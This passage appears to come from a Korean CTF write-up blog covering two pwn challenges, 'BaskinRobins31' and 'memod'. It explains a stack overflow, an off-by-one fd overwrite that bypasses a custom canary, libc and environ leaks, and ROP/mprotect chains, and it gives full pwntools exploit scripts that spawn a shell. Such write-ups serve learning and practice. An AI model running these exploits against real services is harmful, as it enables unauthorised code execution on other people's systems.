__int64 __fastcall your_turn(_DWORD *a1)
{
  ...
  char buf[160]; // [rsp+10h] [rbp-B0h] BYREF

  len = read(0, buf, 0x190uLL);
  ...
}

취약점은 단순하게 내가 입력을 넣는 your_turn()에서 BOF가 발생한다.

0x02. Exploit

    payload = b"1" + b"A" * 0xaf
    payload += b"B" * 8          # sfp
    payload += p64(bp['pppr'])
    payload += p64(1)
    payload += p64(elf.got['write'])
    payload += p64(8)
    payload += p64(elf.plt['write'])
    payload += p64(bp['main'])
    s.sendline(payload)

    s.recvn(len(payload) + 3)
    libc = u64(s.recv(1024)[0:6] + b"\x00\x00") - lib.symbols['write']
    system = libc + lib.symbols['execve']
    log.info(f"libc : {hex(libc)}")
    log.info(f"system : {hex(system)}")

BOF가 가능하니 ROP를 이용해서 libc leak을 했고 execve 주소까지는 잘 획득했다. 처음에는 system의 주소로 exploit을 진행했는데, stack alignment 때문인지 segmentation fault가 발생해서 execve로 바꿨더니 성공했다.

문제는 execve에 어떻게 /bin/sh를 전달하느냐인데, libc에서 찾아서 전달해도 되지만 environ을 이용한 stack leak으로 해결했다.

    payload = b"2" + b"C" * 0xaf
    payload += b"D" * 8
    payload += p64(bp['pppr'])
    payload += p64(1)
    payload += p64(libc + lib.symbols['environ'])
    payload += p64(8)
    payload += p64(elf.plt['write'])
    payload += p64(bp['main'])
    s.sendline(payload)

    s.recvn(len(payload) + 3)
    environ = u64(s.recv(1024)[1:7] + b"\x00\x00")
    log.info(f"environ : {hex(environ)}")
    log.info(f"binsh : {hex(environ - 0x1d0)}")

이렇게 environ에 담겨있는 stack 영역 주소를 받아와서 buf+0x8과의 offset 차이를 계산한 후, buf+0x8에 /bin/sh 문자열을 넣어서 execve 함수의 인자로 전달했다.

    payload = b"3" + b"E" * 7
    payload += b"/bin/sh\x00"                   # buf + 0x8
    payload += b"F" * (0xb0 - len(payload))
    payload += b"G" * 8
    payload += p64(bp['pppr'])
    payload += b"H" * 0x18
    payload += p64(bp['pppr'])
    payload += p64(environ - 0x1d0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(system)
    s.sendline(payload)

    s.interactive()

그런데 마지막 payload에서 pppr 가젯에 갈때 이상하게 rsi 값만 이상해져서 쉘이 자꾸 안떴다.

➜  0x40097a <your_turn+214>  ret
    ↳   0x40087a <helper+4>       pop    rdi
        0x40087b <helper+5>       pop    rsi
        0x40087c <helper+6>       pop    rdx
        0x40087d <helper+7>       ret
gef➤  x/4gx $rsp
0x7fffffffe188: 0x000000000040087a      0x00007fffffffe0d8
0x7fffffffe198: 0x00000000fffffffd      0x000000000000000

처음에는 뭐지 싶어서 그냥 pppr 가젯을 두 번 호출하는 것으로 해결했는데…

.text:000000000040095D  mov     rax, [rbp+var_B8]
.text:0000000000400964  mov     eax, [rax]
.text:0000000000400966  sub     eax, [rbp+choice]

알고보니 베스킨라빈스 게임을 하면서 내가 입력한 값이 감소하는 것이었다 ㅋㅋㅋㅋ

그래서 어? 앞에서는 왜 잘 됐지? 하고 확인해보니…

write(1, write_got, 8 - 1);
write(1, write_got, 8 - 2);

앞의 ROP payload에서는 write의 size 인자값에서 1, 2만큼 빠졌고, 주소값이 어차피 8바이트를 다 안쓰니까 괜찮았던거였다 ㅋㅋㅋㅋ

Payload를 작성할 때 dummy를 다르게 구성해서 어느 payload가 전달된건지 알 수 있게끔 하려고 한건데, 이런 나비효과가 발생할 줄이야…

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

DEBUG = True
BINARY = "BaskinRobins31"
LIBRARY = "libc.so.6"

bp = {
    'main' : 0x0000000000400a4b,
    'end_of_main' : 0x0000000000400b5a,
    'your_turn' : 0x00000000004008a4,
    'end_of_your_turn' : 0x000000000040097a,
    'pppr' : 0x40087a,                          # pop rdi; pop rsi; pop rdx
}

gs = f'''
b *{bp['end_of_your_turn']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    s.recv(1024)

    payload = b"1" + b"A" * 0xaf
    payload += b"B" * 8          # sfp
    payload += p64(bp['pppr'])
    payload += p64(1)
    payload += p64(elf.got['write'])
    payload += p64(8)
    payload += p64(elf.plt['write'])
    payload += p64(bp['main'])
    s.sendline(payload)

    s.recvn(len(payload) + 3)
    libc = u64(s.recv(1024)[0:6] + b"\x00\x00") - lib.symbols['write']
    system = libc + lib.symbols['execve']
    log.info(f"libc : {hex(libc)}")
    log.info(f"system : {hex(system)}")

    payload = b"2" + b"C" * 0xaf
    payload += b"D" * 8
    payload += p64(bp['pppr'])
    payload += p64(1)
    payload += p64(libc + lib.symbols['environ'])
    payload += p64(8)
    payload += p64(elf.plt['write'])
    payload += p64(bp['main'])
    s.sendline(payload)

    s.recvn(len(payload) + 3)
    environ = u64(s.recv(1024)[1:7] + b"\x00\x00")
    log.info(f"environ : {hex(environ)}")
    log.info(f"binsh : {hex(environ - 0x1d0)}")

    payload = b"3" + b"E" * 7
    payload += b"/bin/sh\x00"
    payload += b"F" * (0xb0 - len(payload))
    payload += b"G" * 8
    payload += p64(bp['pppr'])
    payload += b"H" * 0x18
    payload += p64(bp['pppr'])
    payload += p64(environ - 0x1d0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(system)
    s.sendline(payload)

    s.interactive()

if __name__=='__main__':
    main()

memod

2024-07-08T00:00:00+00:00

0x00. Introduction

[*] '/home/user/memod'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

Goal

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ...
  fd = open("/dev/urandom", 0);

  read(fd, &canary_backup, 4u);
  canary = canary_backup;

  if ( memcmp(&canary_backup, &canary, 4u) )
  {
    puts("***** ERROR! Stack Smash Attempt .. *****");
    exit(-1);
  }
  ...
}

전역변수인 canary_backup에 4바이트 랜덤값을 /dev/urandom으로부터 읽어오고, 그 값을 지역변수인 canary에 저장했다가 끝날 때 비교를 한다. 만약 값이 바뀌었다면 프로세스를 강제종료시키므로, 이를 잘 우회해야 한다.

0x01. Vulnerability

  char s[256]; // [esp+10h] [ebp-128h] BYREF
  fgets(s, 512, stdin);

첫 번째로 눈에 띈 것은 ebp-0x128에 위치한 s에 512바이트 입력을 받아 BOF 취약점이 발생한다는 것이었다. 다만 앞에서도 언급했듯 canary를 잘 우회해야 한다.

  char file[32]; // [esp+110h] [ebp-28h] BYREF
  int fd; // [esp+130h] [ebp-8h]

  for ( i = 0; i <= 32; ++i )
  {
    s[0] = getchar();
    if ( s[0] - (unsigned int)'0' > 9 )
    {
      file[i] = 0;
      break;
    }
    file[i] = s[0];
  }

다음으로 눈에 띈 것이 for문의 조건문이다. file 배열이 32바이트인 반면 조건문이 i <= 32로 되어있기 때문에 마지막 loop에서 file[32]가 fd의 가장 하위 바이트를 가리키게 된다.

0x02. Exploit

위 취약점을 이용해서 fd를 overwrite하게 되면 생기는 문제는 다음과 같다.

  fd = open("/dev/urandom", 0);
  read(fd, &canary_backup, 4u);
  canary = canary_backup;

애써 /dev/urandom을 open()해서 저장한 fd가 엉뚱한 값으로 바뀌게 된다. fd를 0으로 덮어서 stdin을 만들어 내가 입력을 줄 수도 있고, 엉뚱한 fd가 있으면 프로세스를 종료되지 않고, canary_backup에 아무런 값이 써지지 않기 때문에 엉뚱한 값으로 덮어도 된다.

따라서 fd를 엉뚱한 값으로 덮고 지역 변수인 canary에 0x00000000을 넣어주면 memcmp()를 통과할 수 있다.

[*] '/home/user/memod'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

이제 exploit을 위해서 바이너리를 살펴보니 NX가 꺼져있어서 쉘코드를 통해 쉘을 띄우려고 했다. 그런데 아무리 찾아봐도 stack leak이 될만한 부분이 없었다… 고민하는 과정에서 libc에 있는 environ 변수를 이용한 stack leak 기법을 찾았는데, 한번도 이렇게 leak을 해본 적이 없어서 이를 활용한 payload를 작성했다.

물론 ROP로도 풀이가 가능해서 mprotect()를 이용한 ROP로도 payload를 작성했다.

0x03. Payload

Payload Using `environ`

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

DEBUG = True
BINARY = "memod"
LIBRARY = "libc.so.6"

bp = {
    'read_of_main' : 0x08048703,
    'fgets_of_main' : 0x804875a,
    'canary_backup' : 0x08049b2c,
    'end_of_main' : 0x080487ce,
}

gs = f'''
b *{bp['fgets_of_main']}
b *{bp['end_of_main']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    # leak libc
    s.send(b"1" * 33)                   # overwrite fd
    s.recv(1024)

    payload = b"A" * 0x124              # dummy
    payload += b"\x00\x00\x00\x00"      # canary
    payload += b"BBBB"                  # sfp
    payload += p32(elf.plt['puts'])     # ret #1
    payload += p32(0x080485e4)          # ret #2 (pop ret gadget)
    payload += p32(elf.got['write'])    # argument #1
    payload += p32(elf.symbols['main']) # ret #3
    s.sendline(payload)
    r = s.recv(1024)
    libc = u32(r[0:4]) - lib.symbols["write"]
    environ = libc + lib.symbols['environ']
    log.info(f"libc : {hex(libc)}")
    log.info(f"environ : {hex(environ)}")

    # leak stack
    s.send(b"2" * 33)                   # overwrite fd
    s.recv(1024)

    payload = b"C" * 0x124              # dummy
    payload += b"\x00\x00\x00\x00"      # canary
    payload += b"DDDD"                  # sfp
    payload += p32(elf.plt['puts'])     # ret #1
    payload += p32(0x080485e4)          # ret #2 (pop ret gadget)
    payload += p32(environ)             # argument #1
    payload += p32(elf.symbols['main']) # ret #3
    s.sendline(payload)
    r = s.recv(1024)
    stack = u32(r[0:4])
    log.info(f"stack : {hex(stack)}")

    # execute shellcode
    s.send(b"3" * 33)
    s.recv(1024)

    payload = asm(shellcraft.execve("/bin/sh", 0, 0))   # shellcode
    payload += b"E" * (0x124 - len(payload))            # dummy
    payload += b"\x00\x00\x00\x00"                      # canary
    payload += b"FFFF"                                  # sfp
    payload += p32(stack - 0x1cc)                       # ret #1 (&shellcode)
    s.sendline(payload)

    s.interactive()

if __name__=='__main__':
    main()

Payload Using `mprotect`

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

DEBUG = True
BINARY = "memod"
LIBRARY = "libc.so.6"

bp = {
    'read_of_main' : 0x08048703,
    'fgets_of_main' : 0x804875a,
    'canary_backup' : 0x08049b2c,
    'end_of_main' : 0x080487ce,
    'mprotect' : 0xf7e9f020,
}

gs = f'''
b *{bp['end_of_main']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    # leak libc
    s.send(b"1" * 33)                   # overwrite fd
    s.recv(1024)

    payload = b"A" * 0x124              # dummy
    payload += b"\x00\x00\x00\x00"      # canary
    payload += b"BBBB"                  # sfp
    payload += p32(elf.plt['puts'])     # ret #1
    payload += p32(0x080485e4)          # ret #2 (pr gadget)
    payload += p32(elf.got['write'])    # argument #1
    payload += p32(elf.symbols['main']) # ret #3
    s.sendline(payload)
    r = s.recv(1024)
    libc = u32(r[0:4]) - lib.symbols["write"]
    mprotect = libc + lib.symbols['mprotect']
    read = libc + lib.symbols['read']
    log.info(f"libc : {hex(libc)}")
    log.info(f"mprotect : {hex(mprotect)}")
    log.info(f"read : {hex(read)}")

    # add permission using mprotect
    s.send(b"2" * 33)                   # overwrite fd
    s.recv(1024)

    payload = b"C" * 0x124              # dummy
    payload += b"\x00\x00\x00\x00"      # canary
    payload += b"DDDD"                  # sfp
    payload += p32(mprotect)            # ret #1
    payload += p32(0x08048836)          # ret #2 (pppr gadget)
    payload += p32(bp['canary_backup'] & 0xfffff000) # argument #1
    payload += p32(0x1000)              # argument #2
    payload += p32(0x7)                 # argument #3
    payload += p32(read)                # ret #3
    payload += p32(bp['canary_backup']) # ret #4
    payload += p32(0)                   # argument #1
    payload += p32(bp['canary_backup']) # argument #2
    payload += p32(0x100)               # argument #3
    s.sendline(payload)

    # send shellcode
    payload = asm(shellcraft.execve("/bin/sh", 0, 0))
    s.sendline(payload)

    s.interactive()

if __name__=='__main__':
    main()